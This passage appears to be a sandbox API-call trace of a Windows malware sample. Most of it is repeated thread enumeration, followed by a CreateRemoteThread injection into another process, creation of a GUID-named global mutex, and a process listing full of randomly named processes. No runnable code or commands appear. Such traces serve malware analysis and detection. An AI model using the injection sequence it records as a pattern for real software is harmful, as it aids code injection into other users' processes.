lpte=0x2d5eb48) returned 1 [0104.757] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.758] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.758] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.759] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.760] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.760] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.761] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.762] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.763] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.764] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.765] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.765] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.766] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.767] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.767] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.768] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.769] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.770] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.770] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.771] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.772] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.773] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.774] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.774] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.775] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.776] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.777] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.778] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.778] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.779] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.780] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.780] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.781] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.782] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.783] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.783] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.784] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.785] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.785] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.786] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.787] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.787] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.788] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.789] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.790] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.790] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.791] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.792] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.792] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.793] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.794] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.795] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.795] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.796] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.797] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.797] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.798] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.799] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.804] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.805] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.806] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.806] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.807] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.808] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.818] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.819] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.819] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.820] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.821] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.821] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.822] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.823] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.823] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.824] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.825] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.826] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.826] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.827] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.828] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.829] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.829] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.830] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.831] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.832] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.832] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.833] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.834] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.834] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.835] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.836] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.837] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.838] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.839] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.840] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.841] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.841] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.842] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.843] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.843] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.844] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.845] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.845] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.846] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.847] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.847] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.848] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.849] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.849] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.850] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.851] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.851] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.852] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.853] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.853] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.854] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.855] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.856] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.857] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.858] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.859] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.859] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.860] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.861] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.861] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.862] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.863] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.864] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.864] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.865] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.866] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.866] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.867] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.868] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.868] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.869] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.870] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.871] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.872] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.873] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.873] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.874] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.875] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.875] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.876] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.877] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.877] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.878] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.879] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.879] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.880] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.880] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.881] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.882] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.882] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.883] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.884] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.884] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.885] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.886] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.886] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.887] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.888] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.888] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.889] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.890] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.890] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.891] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.892] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.892] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.893] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.894] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.895] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.895] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.896] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.896] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.897] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.898] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.898] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.899] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.900] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.902] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.903] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.904] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.904] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.905] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.906] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.906] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.907] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.908] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.908] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.909] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.910] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.910] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.911] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.912] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.912] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.913] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.914] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.914] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.915] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.916] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.916] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.917] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.923] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.924] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.925] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.966] CreateRemoteThread (in: hProcess=0xef8, lpThreadAttributes=0x2c72b60, dwStackSize=0x0, lpStartAddress=0x1f4ad14, lpParameter=0x1eb0000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13b0 [0104.966] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x13d8, hTargetProcessHandle=0xef8, lpTargetHandle=0x2d5ec18, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x2d5ec18*=0x144) returned 1 [0104.966] CloseHandle (hObject=0x13b0) returned 1 [0104.967] CloseHandle (hObject=0xef8) returned 1 [0104.967] CloseHandle (hObject=0x13d8) returned 1 [0104.967] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0104.968] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0104.968] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x13d8 [0104.968] GetLastError () returned 0x0 [0104.968] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0104.968] CloseHandle (hObject=0x13d8) returned 1 [0104.968] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0104.969] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0104.970] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0104.971] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0104.972] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0104.973] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0104.973] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0104.974] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0104.975] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0104.976] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0104.977] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0104.977] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0104.978] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0104.979] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0104.980] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0104.980] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0104.981] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0104.982] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0104.983] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0104.984] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0104.984] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0104.985] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="WINWORD.EXE")) returned 1 [0104.986] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.987] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0104.987] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0104.988] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0104.989] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0104.990] Process32NextW 